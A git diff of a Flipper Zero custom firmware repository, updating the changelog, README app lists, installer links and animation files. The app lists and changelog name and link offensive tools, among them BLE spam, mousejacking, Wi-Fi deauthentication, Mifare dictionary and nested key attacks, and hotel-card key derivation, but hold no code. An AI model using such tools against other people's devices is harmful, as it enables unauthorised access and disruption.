diff --git a/.blank_files/MjK_blank_128x64/frame_0.bm b/.blank_files/MjK_blank_128x64/frame_0.bm new file mode 100644 index 00000000000..eaff0733eac Binary files /dev/null and b/.blank_files/MjK_blank_128x64/frame_0.bm differ diff --git a/.blank_files/MjK_blank_128x64/frame_1.bm b/.blank_files/MjK_blank_128x64/frame_1.bm new file mode 100644 index 00000000000..eaff0733eac Binary files /dev/null and b/.blank_files/MjK_blank_128x64/frame_1.bm differ diff --git a/.blank_files/MjK_blank_128x64/meta.txt b/.blank_files/MjK_blank_128x64/meta.txt new file mode 100644 index 00000000000..073d10db44e --- /dev/null +++ b/.blank_files/MjK_blank_128x64/meta.txt @@ -0,0 +1,14 @@ +Filetype: Flipper Animation +Version: 1 + +Width: 128 +Height: 64 +Passive frames: 2 +Active frames: 1 +Frames order: 0 1 0 +Active cycles: 1 +Frame rate: 1 +Duration: 3600 +Active cooldown: 1 + +Bubble slots: 0 diff --git a/.blank_files/manifest_None.txt b/.blank_files/manifest_None.txt new file mode 100644 index 00000000000..19aa2587ba6 --- /dev/null +++ b/.blank_files/manifest_None.txt @@ -0,0 +1,9 @@ +Filetype: Flipper Animation Manifest +Version: 1 + +Name: MjK_blank_128x64 +Min butthurt: 0 +Max butthurt: 14 +Min level: 1 +Max level: 30 +Weight: 99 diff --git a/.gitattributes b/.gitattributes index f502108d799..b708414c15b 100644 --- a/.gitattributes +++ b/.gitattributes @@ -4,3 +4,4 @@ *.cmd eol=crlf *.txt eol=crlf *.ir eol=crlf +ReadMe.md merge=ours diff --git a/CHANGELOG.md b/CHANGELOG.md index 3641a4407a1..0d0656fe79f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,12 +1,14 @@ ## Warning!!! Please read this before installing!!! -**This release has some unresolved issues:** +**This release has some unresolved issues, if any of those affects your daily usage, stay at 065 release or wait for next releases:**
+**Issues from this list will be fixed in next releases** ### Known NFC app regressions and issues: - Mifare Classic with custom UID add manually option was temporarily removed (Unleashed) -- Mifare Mini clones reading is broken (OFW) -- Mifare Classic dict attack fast skip causes glitches/incorrect reading (OFW) +- Mifare Mini clones reading is broken (original mini working fine) (OFW) +- Mifare Classic dict attack fast skip (multiple presses on OK button) causes glitches/incorrect reading (OFW) - EMV simple data parser was removed with protocol with refactoring (OFW) -- NFC V(Slix), Mifare Classic Emulation issues (unconfirmed) (OFW) +- Mifare Classic Emulation slow response (unconfirmed) (OFW) - Option to unlock Slix-L (NFC V) with preset or custom password was removed with refactoring (OFW) +- NFC CLI was removed with refactoring (OFW) ### Some apps that was made for old nfc stack is now not compatible with the new API and require complete remake: **If you want to help with making this apps work again please send PR to the repo at link below** - Current list of affected apps: https://github.com/xMasterX/all-the-plugins/tree/dev/apps_broken_by_last_refactors @@ -15,16 +17,23 @@ ## New changes * NFC: Added new parsers for transport cards - Umarsh, Kazan, Moscow, Metromoney(Tbilisi), and fixes for OFW parsers (by @assasinfil and @Leptopt1los) (special thanks for users who provided various dumps of those cards for research) * NFC: Added simple key name display to UI to fix regression +* NFC: Add keys to mf_classic_dict (by @hnlcory | PR #660) +* NFC: Add Saflok and MyKey KDFs (by @noproto | PR #662) +* NFC: social_moscow parser verification collisions fix (by @Leptopt1los) * iButton: Fix UI text - protocol name getting out of screen bounds when key name is too large, and other related issues (by @krolchonok | PR #649) * SubGHz: Fixed feature naming in menu * SubGHz: Added honeywell protocol [(by @htotoo)](https://github.com/Flipper-XFW/Xtreme-Firmware/commit/ceee551befa0cb8fd8514a4f8a1250fd9e0997ee) * SubGHz: Add 303.9 Mhz to default frequency list * SubGHz: Fix Keeloq decoding order bug (random switch to HCS101 or anmotors) +* SubGHz: Fix secplus v1 key display issue * API: Add new get function for varitemlist (by @Willy-JL) * Misc code cleanup * Apps: **Bluetooth Remote / USB Keyboard & Mouse** - `Movie` and `PTT` modes by @hryamzik * Apps: **BLE Spam app** updated to latest version (New devices support, + Menu by holding Start) (by @Willy-JL) -> (app can be found in builds ` `, `e`, `n`, `r`) +* Apps: **NFC Magic** - Gen4 Actions (option to fix card with broken config) (by @Leptopt1los and @xMasterX) * Apps: **Check out Apps updates by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev) +* OFW: NFC fixes +* OFW: nfc: m1k-based Aime (non-AIC) card support * OFW: SubGhz: fix count bit for detect gate_tx protocol * OFW: Fixed a zero allocation error when reading an iso15693 nfc tag with no additional blocks. * OFW: Ntag21x write @@ -66,9 +75,8 @@ * OFW: fbt: glob & git improvements * OFW: FastFAP: human readable error log -### Thanks to the UNLEASHED sponsors for our UNLEASHED changes: -Pathfinder [Count Zero cDc], -callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ... -and all other great people who supported our project and me (xMasterX), thanks to you all! +### Thanks to the UNLEASHED sponsors for supporting UNLEASHED changes! -### THANKS TO ALL RM SPONSORS FOR BEING AWESOME! THANK YOU TO THE COMMUNITY THAT KEEPS GROWING OUR PROJECT! +### THANKS TO ALL RM SPONSORS FOR BEING AWESOME! + +# MOST OF ALL, THANK YOU TO THE COMMUNITY THAT KEEPS GROWING OUR PROJECT! diff --git a/ReadMe.md b/ReadMe.md index 76c41c77bf4..63cd7351232 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -4,7 +4,7 @@  RM Merch  More Research / Assets -# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM1130-1445-0.93.9-d9db571.tgz&channel=RM1130-1445-0.93.9-d9db571&version=0.93.9) OR [WITHOUT ANIMATIONS](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM1130-1445-0.93.9-d9db571-NoAnim.tgz&channel=RM1130-1445-0.93.9-d9db571-NoAnim&version=0.93.9) +# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM1215-1347-0.93.9-073ec96.tgz&channel=RM1215-1347-0.93.9-073ec96&version=0.93.9) OR [WITHOUT ANIMATIONS](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM1215-1347-0.93.9-073ec96-NoAnim.tgz&channel=RM1215-1347-0.93.9-073ec96-NoAnim&version=0.93.9) ## Thank you so much to our RM Pro/SUPER Patreon supporters! Because of people like you, we are able to offer the best and most up-to-date Flipper Zero Firmware! @@ -27,36 +27,21 @@ This software is for experimental purposes only and is not meant for any illegal -## Latest Updates - [PATREON: Latest Release RM1204-0250-0.93.9-867db52](https://www.patreon.com/RogueMaster?filters[tag]=Latest%20Release) +## Latest Updates - [PATREON: Latest Release RM1216-1145-0.93.9-36ee0ab](https://www.patreon.com/RogueMaster?filters[tag]=Latest%20Release) -- Last Synced/Checked OFW, changes in [commits](https://github.com/flipperdevices/flipperzero-firmware/commits/dev): `2023-12-04 13:33 EST` -- Last Synced/Checked Unleashed, changes in [changelog](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/420/CHANGELOG.md): `2023-12-04 13:33 EST` -- Updated: [BLE Spam v4.4 (By Willy-JL & ECTO-1A & Spooks4576 with research from xMasterX; OFW API thanks to noproto)](https://github.com/noproto/apple_ble_spam_ofw) -- Variable List Item Get Function, Variable List Item Set Header Function & CFW App Scene Refresh Cleanup (By Willy-JL) -- Updated: [UART Terminal v1.3 (By cool4uma)](https://github.com/cool4uma/UART_Terminal) [Hex mode in UART Terminal #32 (By rnadyrshin)](https://github.com/xMasterX/all-the-plugins/pull/32) -- Updated: [u-blox GPS v0.3 (By liamhays)](https://github.com/liamhays/ublox) -- OFW: [HID app: Add new function key icons #3236 (By Astrrra)](https://github.com/flipperdevices/flipperzero-firmware/pull/3236) -- OFW: [Add the 'remove pairing' button to BLE hid #3237 (By Astrrra)](https://github.com/flipperdevices/flipperzero-firmware/pull/3237) -- [Animations: Faster Code & Free Manifest List on Exit (By LeeroysHub)](https://github.com/LeeroysHub/RM-Flipper/commit/368aa032ec80aa47c8dc782a2b2729b4c4ea6c99) -- OFW: [SubGhz: fix count bit for detect gate_tx protocol #3253 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/3253) -- Updated: [Sub-GHz Playlist (By darmiel)](https://github.com/darmiel/flipper-playlist) Fix some subghz playlist memory leaks (By Willy-JL) -- Updated: [Hangman v1.5 (By Evgeny Stepanischev & Eva Stepanischeva)](https://github.com/bolknote/Flipper-Zero-Hangman-Game) -- Updated: [HEX Viewer v2.0 (By QtRoS)](https://github.com/QtRoS/flipperzero-firmware) -- Updated: [BLE Spam v4.4 (By Willy-JL & ECTO-1A & Spooks4576 with research from xMasterX; OFW API thanks to noproto)](https://github.com/noproto/apple_ble_spam_ofw) - Changes from xMasterX repository -- Updated: [UART Terminal v1.3 (By cool4uma)](https://github.com/cool4uma/UART_Terminal) - Changes from xMasterX repository -- Updated: [FlipBoard Blinky v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipboard) -- Updated: [FlipBoard Signal v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipboard) -- UL: [Fix keeloq null pointer if unknown (By xMasterX)](https://github.com/DarkFlippers/unleashed-firmware/commit/9bf8f1015d6b4bc03478cbc8ad9e761ab3cc0be4) -- Updated: [Wiegand Reader v1.3 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) -- Added: [MALVEKE GAME BOY Cartridge (GB/GBC) v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_cartridge) `Req: Malveke` -- Added: [MALVEKE GAME BOY Emulator v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_emulator) `Req: Malveke` -- Added: [MALVEKE GAME BOY Link-Camera v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_link_camera) `Req: Malveke` -- Added: [MALVEKE GB Live Camera v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_live_camera) `Req: Malveke` -- Added: [MALVEKE GAME BOY ADVANCE Cartridge v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gba_cartridge) `Req: Malveke` -- Added: [MALVEKE Pokemon Trading v1.4 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_pokemon_trading) `Req: Malveke` (Uses Different GPIO Than Standard Pokemon Trader App) -- Added: [MALVEKE PIN Test v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_pin_test) `Req: Malveke` -- Updated: [ESP32CAM Marauder v0.6.5 (By 0xchocolate & eried)](https://github.com/eried/flipperzero-mayhem) -- Updated: [FlipBoard Keyboard v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipboard) +- Last Synced/Checked OFW, changes in [commits](https://github.com/flipperdevices/flipperzero-firmware/commits/dev): `2023-12-17 11:35 EST` +- Last Synced/Checked Unleashed, changes in [changelog](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/420/CHANGELOG.md): `2023-12-17 11:35 EST` +- OFW: [Add AC's Carrier 42QG5A580SC and AUX YKR-H/006E #3284 (By gusdleon)](https://github.com/flipperdevices/flipperzero-firmware/pull/3284) +- OFW: [added new TV Philips OLED 934/12 #3293 (By MarcelSchm)](https://github.com/flipperdevices/flipperzero-firmware/pull/3293) +- For BT/USB Remote: [PTT: fixed 'raise hand' for zoom on mac #33 (By hryamzik)](https://github.com/xMasterX/all-the-plugins/pull/33) +- For Wifi Marauder: [Add samsung and all spam #43 (By justcallmekoko)](https://github.com/0xchocolate/flipperzero-wifi-marauder/pull/43) +- Updated: [Bad KB (Modified PR#738 from pengu1ndev - Original from Willy-JL) #739 (By ESurge)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/739) +- Updated: [WiFi (Marauder) v6.6 (By 0xchocolate & tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) +- Updated: [Video Player v0.2 (By LTVA1)](https://github.com/LTVA1/flipper-zero-video-player) +- Updated: [WS2812B LED Tester v1.8 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/ws2812b_tester) +- Removed: [MALVEKE Pokemon Trading v1.4 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_pokemon_trading) `Req: Malveke` (Uses Different GPIO Than Standard Pokemon Trader App) +- Updated: [Pokemon Trading v1.5 (By EstebanFuentealba & kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Trading-Pokemons) +- Updated: [MALVEKE GB Live Camera v1.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_live_camera) `Req: Malveke` @@ -262,6 +247,7 @@ $ ./fbt dolphin_ext - [Chess Clock (By ihatecsv)](https://github.com/ihatecsv/flipper_chess_clock) - [City Bloxx (By Milk-Cool)](https://github.com/Milk-Cool/fz-citybloxx) - [Color Guess v1.2 (By leedave)](https://github.com/leedave/Leeds-Flipper-Zero-Applications) +- [Connect Wires v1.0 (By AlexTaran)](https://github.com/AlexTaran/flipperzero) - [Dice (RM) Including SEX/WAR/8BALL/WEED/DRINK DICE v2.1 (By RogueMaster)](https://github.com/RogueMaster/flipperzero-dice) - [DnD Dice v1.3 (By Ka3u6y6a)](https://github.com/Ka3u6y6a/flipper-zero-dice) - [Doom v1.1 (By p4nic4ttack)](https://github.com/p4nic4ttack/doom-flipper-zero/) (ported and fixed by xMasterX & Svarich & hedger) @@ -270,6 +256,7 @@ $ ./fbt dolphin_ext - [Five Nights at Flipper's (By sillygir1)](https://github.com/sillygir1/flipperzero-fnaf) - [Flappy Bird v1.1 (By DroomOne)](https://github.com/DroomOne/flipperzero-firmware/tree/dev/applications/flappy_bird) [Flappy: Border hitboxes, bigger Pilars (By TQMatvey)](https://github.com/DarkFlippers/unleashed-firmware/pull/114) [Increase pilars line width to improve visibility (By ahumeniy)](https://github.com/DarkFlippers/unleashed-firmware/pull/140) - [Game of Life v1.1 (Updated to work by tgxn) (By itsyourbedtime)](https://github.com/tgxn/flipperzero-firmware/blob/dev/applications/game_of_life/game_of_life.c) +- [Guess The Number v1.1 (By kWAYTV)](https://github.com/kWAYTV/guess-the-number-fz) - [Hangman v1.5 (By Evgeny Stepanischev & Eva Stepanischeva)](https://github.com/bolknote/Flipper-Zero-Hangman-Game) [With Anime Dictionary (By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/9f0385f14547be5a3bdbc85323399e8b01b27607) - [Heap Defence v1.1 (By xMasterX)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/fc776446de9fdd553b221c02668b925b689378d8) [(original by wquinoa & Vedmein)](https://github.com/Vedmein/flipperzero-firmware/tree/hd/svisto-perdelki) - [JetPack v1.1 (by timstrasser)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/1164e4d214efa38847e08c6387bf53578bc0d366) @@ -297,7 +284,7 @@ $ ./fbt dolphin_ext - [Snake v1.7 (By OlegSchwann)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/829) (With updates from DrZlo13, xMasterX, QtRoS and RogueMaster) [Snake Score Saving (By JuanJakobo)](https://github.com/flipperdevices/flipperzero-firmware/pull/1922) [Turns anywhere (By TQMatvey)](https://github.com/DarkFlippers/unleashed-firmware/pull/125) [Food Spawns Anywwhere (By TQMatvey)](https://github.com/DarkFlippers/unleashed-firmware/pull/130) - [Snake 2.0 v2.1 (By Willzvul)](https://github.com/Willzvul/Snake_2.0/) - [Solitaire v1.1.4 (By teeebor)](https://github.com/teeebor/flipper_games) -- [Sokoban v1.1 (By Racso)](https://github.com/Racso/fzero-apps) +- [Sokoban v1.2 (By Racso)](https://github.com/Racso/fzero-apps) - [Space Impact WIP v0.2 (By Ka3u6y6a)](https://github.com/Ka3u6y6a/flipper-zero-space-impact) - [Sudoku v1.1 (By profelis)](https://github.com/profelis/fz-sudoku) - [SUPER-CHIP Emulator (By Milk-Cool)](https://github.com/Milk-Cool/fz-schip) @@ -307,10 +294,10 @@ $ ./fbt dolphin_ext - [Tetris v1.3 (By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) - [Tic-Tac-Toe Multi v1.1 (By RouNNdeL)](https://github.com/RouNNdeL/flipper-tictactoe-multi) - [Tic Tac Toe v1.1 (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) -- [Ultimate Tic-Tac-Toe (By Racso)](https://github.com/Racso/fzero-apps) +- [Ultimate Tic-Tac-Toe v1.1 (By Racso)](https://github.com/Racso/fzero-apps) - [Video Poker v1.2 (By PixlEmly)](https://github.com/PixlEmly/flipperzero-firmware-testing/blob/420/applications/VideoPoker/poker.c) - [Yatzee v1.1 (By emfleak)](https://github.com/emfleak/flipperzero-yatzee) -- [Zero v1.3 (By Racso)](https://github.com/Racso/fzero-apps) +- [Zero v1.4 (By Racso)](https://github.com/Racso/fzero-apps) - [Zombiez v1.1 (Reworked By DevMilanIan)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/240) [(Original By Dooskington)](https://github.com/Dooskington/flipperzero-zombiez) ## Plugins @@ -329,6 +316,7 @@ $ ./fbt dolphin_ext - [BarCode Scanner Emulator (By polarikus)](https://github.com/polarikus/flipper-zero_bc_scanner_emulator) `Uses: COM-port` - [Battery Checker (By Programistich)](https://github.com/Programistich/battery_checker) - [BG Loader (By twisted-pear)](https://github.com/twisted-pear/bgloader) +- [BlackJack Counter v1.0 (By grugnoymeme)](https://github.com/grugnoymeme/flipperzero-blackjack_counter-fap) - [BLE Spam v4.4 (By Willy-JL & ECTO-1A & Spooks4576 with research from xMasterX; OFW API thanks to noproto)](https://github.com/noproto/apple_ble_spam_ofw) - [Bluetooth/USB Remote v1.6 (By Cutch)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/1330) [Accelerated Mouse Pointer (By LeeroysHub)](https://github.com/LeeroysHub/flipperzero-firmware-wPlugins/commit/f67680d5b004a72419550a8268802030a8421643) - [BPM Tapper v1.1 (By panki27)](https://github.com/panki27/bpm-tapper) @@ -381,9 +369,9 @@ $ ./fbt dolphin_ext - [FAP Boilerplate (By leedave)](https://github.com/leedave/flipper-zero-fap-boilerplate) - [Flashlight v1.1 (By xMasterX)](https://github.com/xMasterX/flipper-flashlight) - [Flipagotchi WIP (By Matt-London)](https://github.com/Matt-London/pwnagotchi-flipper) -- [FlipBoard Blinky v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipboard) -- [FlipBoard Keyboard v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipboard) -- [FlipBoard Signal v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipboard) +- [FlipBoard Blinky v2.1 (By jamisonderek)](https://github.com/jamisonderek/flipboard) +- [FlipBoard Keyboard v2.0 (By jamisonderek)](https://github.com/jamisonderek/flipboard) +- [FlipBoard Signal v3.1 (By jamisonderek)](https://github.com/jamisonderek/flipboard) - [FlipBIP Crypto Wallet v1.14 (By xtruan)](https://github.com/xtruan/FlipBIP) - [Flizzer Tracker v0.4 (By LTVA1)](https://github.com/LTVA1/flizzer_tracker) - [FM Radio v1.1 (By coolshrimp)](https://github.com/coolshrimp/flipperzero-firmware-wPlugins/tree/420/applications/external/fm_radio) @@ -401,7 +389,7 @@ $ ./fbt dolphin_ext - [ID Card v1.0 (By alanretgue)](https://github.com/alanretgue/Flipper_Zero-id_card) - [IFTTT Button (By Ferrazzi)](https://github.com/Ferrazzi/FlipperZero_IFTTT_Virtual_Button) `Req: ESP8266 w/ IFTTT FW Flashed` - [Intravelometer (By theageoflove)](https://github.com/theageoflove/flipperzero-zeitraffer) -- [IR Intervalometer for Sony Cameras (By Nitepone)](https://github.com/Nitepone/flipper-intervalometer) `works for Sony cameras` +- [IR Intervalometer for Sony Cameras v1.2 (By Nitepone)](https://github.com/Nitepone/flipper-intervalometer) `works for Sony cameras` - [IR Remote (By Hong5489)](https://github.com/Hong5489/ir_remote) [Hold Option (By d4ve10)](https://github.com/d4ve10/ir_remote/tree/infrared_hold_option) - [IR Scope (By kallanreed)](https://github.com/kallanreed/unleashed-firmware/tree/dev/applications/external/ir_scope) - [IR Xbox Controller v1.2 (By gebeto)](https://github.com/gebeto/flipper-xbox-controller) @@ -415,9 +403,8 @@ $ ./fbt dolphin_ext - [MALVEKE GAME BOY Cartridge (GB/GBC) v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_cartridge) `Req: Malveke` - [MALVEKE GAME BOY Emulator v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_emulator) `Req: Malveke` - [MALVEKE GAME BOY Link-Camera v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_link_camera) `Req: Malveke` -- [MALVEKE GB Live Camera v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_live_camera) `Req: Malveke` +- [MALVEKE GB Live Camera v1.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_live_camera) `Req: Malveke` - [MALVEKE PIN Test v1.0 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_pin_test) `Req: Malveke` -- [MALVEKE Pokemon Trading v1.4 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_pokemon_trading) `Req: Malveke` (Uses Different GPIO Than Standard Pokemon Trader App) - [MAX31855 (By skotopes)](https://github.com/skotopes/flipperzero_max31855) - [Metronome v1.1 (By panki27)](https://github.com/panki27/Metronome) - [Mfkey32 v1.1 (By noproto)](https://github.com/noproto/FlipperMfkey) @@ -427,6 +414,7 @@ $ ./fbt dolphin_ext - [Mifare Fuzzer v1.2 (By spheeere98)](https://github.com/spheeere98/mifare_fuzzer) - [Mifare Nested v1.5.2 (By AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) - [Morse Code v1.1 (By wh00hw)](https://github.com/DarkFlippers/unleashed-firmware/pull/144) +- [Motion Mouse v1.0 (By nminaylov)](https://github.com/flipperdevices/flipperzero-good-faps/tree/nm/motion_mouse_app) `Req: ICM42688` - [Mouse Jacker v1.1 (By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) ([Pin Out](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/tree/420/applications/mousejacker) from nocomp/Frog/UberGuidoZ) `Req: NRF24` - [Mouse Jacker for MS Mouse (Remixed By coded-with-claws)](https://github.com/coded-with-claws/flipperzero-tools/tree/main/applications_user/mousejacker_ms) `Req: NRF24` - [Mouse Jiggler v1.1 (By Jacob-Tate)](https://github.com/Jacob-Tate/flipperzero-firmware/blob/dev/applications/mouse_jiggler/mouse_jiggler.c) (Original By MuddleBox) @@ -460,7 +448,7 @@ $ ./fbt dolphin_ext - [PicoPass (iClass) v1.6 (By Bettse)](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/picopass) [PicoPass Emulation (By nvx)](https://github.com/nvx/flipperzero-firmware/tree/picopass_emulation) - [Plantower PMSx003 sensor reader (By 3cky)](https://github.com/3cky/flipperzero-airmon) `Req: Plantower PMS5003/PMS7003/PMS9003` - [POCSAG Pager v1.2 (By XMasterx & Shmuma)](https://github.com/xMasterX/flipper-pager) -- [Pokemon Trading v1.4 (By EstebanFuentealba & kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Trading-Pokemons) +- [Pokemon Trading v1.5 (By EstebanFuentealba & kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Trading-Pokemons) - [Pomodoro Timer v1.2 (By sbrin)](https://github.com/sbrin/flipperzero_pomodoro) - [Pomodoro 2 v1.3 (By Th3Un1q3)](https://github.com/Th3Un1q3/flipp_pomodoro) - [Protocol Visualizer v1.1 (By antirez)](https://github.com/antirez/protoview) @@ -508,17 +496,18 @@ $ ./fbt dolphin_ext - [USB Mass Storage v1.2 (By nminaylov)](https://github.com/flipperdevices/flipperzero-good-faps/tree/nm/usb_mass_storage_app/mass_storage) [Based on OFW#1060 (By kevinwallace)](https://github.com/flipperdevices/flipperzero-firmware/pull/1060) - [USB Midi (By DrZlo13)](https://github.com/DrZlo13/flipper-zero-usb-midi) [Instructions by ESurge](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/420/applications/plugins/usb_midi/ReadMe.md) - [VB Migration Assistant v1.2 (By GMMan)](https://github.com/GMMan/flipperzero-vb-migrate) -- [Video Player v0.1 (By LTVA1)](https://github.com/LTVA1/flipper-zero-video-player) +- [Video Player v0.2 (By LTVA1)](https://github.com/LTVA1/flipper-zero-video-player) - [WAV Player v1.1 (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) Updated by Atmanos & RogueMaster To Work. [Updated by xMasterX](https://github.com/DarkFlippers/unleashed-firmware/commit/76d3f84a5eb069b749e3ad20df6fdbbc785eb253) - [WAV Recorder (By scrolltex)](https://github.com/scrolltex/flipper-wav-recorder) - [WHC SWIO Flasher v1.0 (By sukvojte)](https://github.com/sukvojte/wch_swio_flasher) - [Weather Station (By Skorpionm)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/weather_station) - [Wiegand Reader v1.3 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) - [WiFi (Deauther) V2 (By Timmotools)](https://github.com/Timmotools/flipperzero_esp8266_deautherv2) `Req: ESP8266` -- [WiFi (Marauder) v6.5 (By 0xchocolate & tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) `Req: ESP32 WITH MARAUDER FLASHED` [ESP32 MARAUDER Firmware](https://github.com/tcpassos/ESP32Marauder) +- [WiFi (Marauder) v6.6 (By 0xchocolate & tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) `Req: ESP32 WITH MARAUDER FLASHED` [ESP32 MARAUDER Firmware](https://github.com/tcpassos/ESP32Marauder) - [Wifi Mapping (By carvilsi)](https://github.com/carvilsi/flipper0-wifi-map/tree/main) `Req: ESP32` - [Wii EC Analyzer v1.1 (By csBlueChip)](https://github.com/csBlueChip/FlipperZero_WiiEC) - [Wire Tester v1.1 (By unixispower)](https://gitlab.com/unixispower/flipper-wire-tester) +- [WS2812B LED Tester v1.8 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/ws2812b_tester) - [XRemote v1.2 (By kala13x)](https://github.com/kala13x/flipper-xremote) ## Current Bounties $$ (Sorted By Difficulty - Easiest to Hardest) @@ -531,4 +520,4 @@ $ ./fbt dolphin_ext - [Desktop Favorite Binds To Allow Opening Custom Game Menu. Whomever can complete this gets 3 months of subscriber builds. Patrons can DM me to add their monthly towards this bounty.](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/756) - `Bluetooth Audio` APP to allow flipper to pair to external speaker or headphones for wav/mp3 playback ($200 USD in ETH or BTC) (Don't think this is possible) -# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM1130-1445-0.93.9-d9db571.tgz&channel=RM1130-1445-0.93.9-d9db571&version=0.93.9) OR [WITHOUT ANIMATIONS](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM1130-1445-0.93.9-d9db571-NoAnim.tgz&channel=RM1130-1445-0.93.9-d9db571-NoAnim&version=0.93.9) +# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM1215-1347-0.93.9-073ec96.tgz&channel=RM1215-1347-0.93.9-073ec96&version=0.93.9) OR [WITHOUT ANIMATIONS](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM1215-1347-0.93.9-073ec96-NoAnim.tgz&channel=RM1215-1347-0.93.9-073ec96-NoAnim&version=0.93.9) diff --git a/applications/external/atomicdiceroller/README.md b/applications/external/atomicdiceroller/README.md index 2a50f700c56..5dbdcbe525f 100644 --- a/applications/external/atomicdiceroller/README.md +++ b/applications/external/atomicdiceroller/README.md @@ -44,8 +44,19 @@ button | function **Ok** *[short short]* | Roll the dice **Left** *[long press]* | Set CRC32 as hash method **Right** *[long press]* | Set MD5 as hash method +**Up** *[long press]* | Set 0-1 as output range (coin flipper) +**Down** *[long press]* | Set 1-6 as output range (dice roller) **Back** *[long press]* | Exit If you don't want to build this application, just simply copy **flipper_atomicdiceroller.fap** on your **Flipper Zero** Build has been made with official toolchain, **API 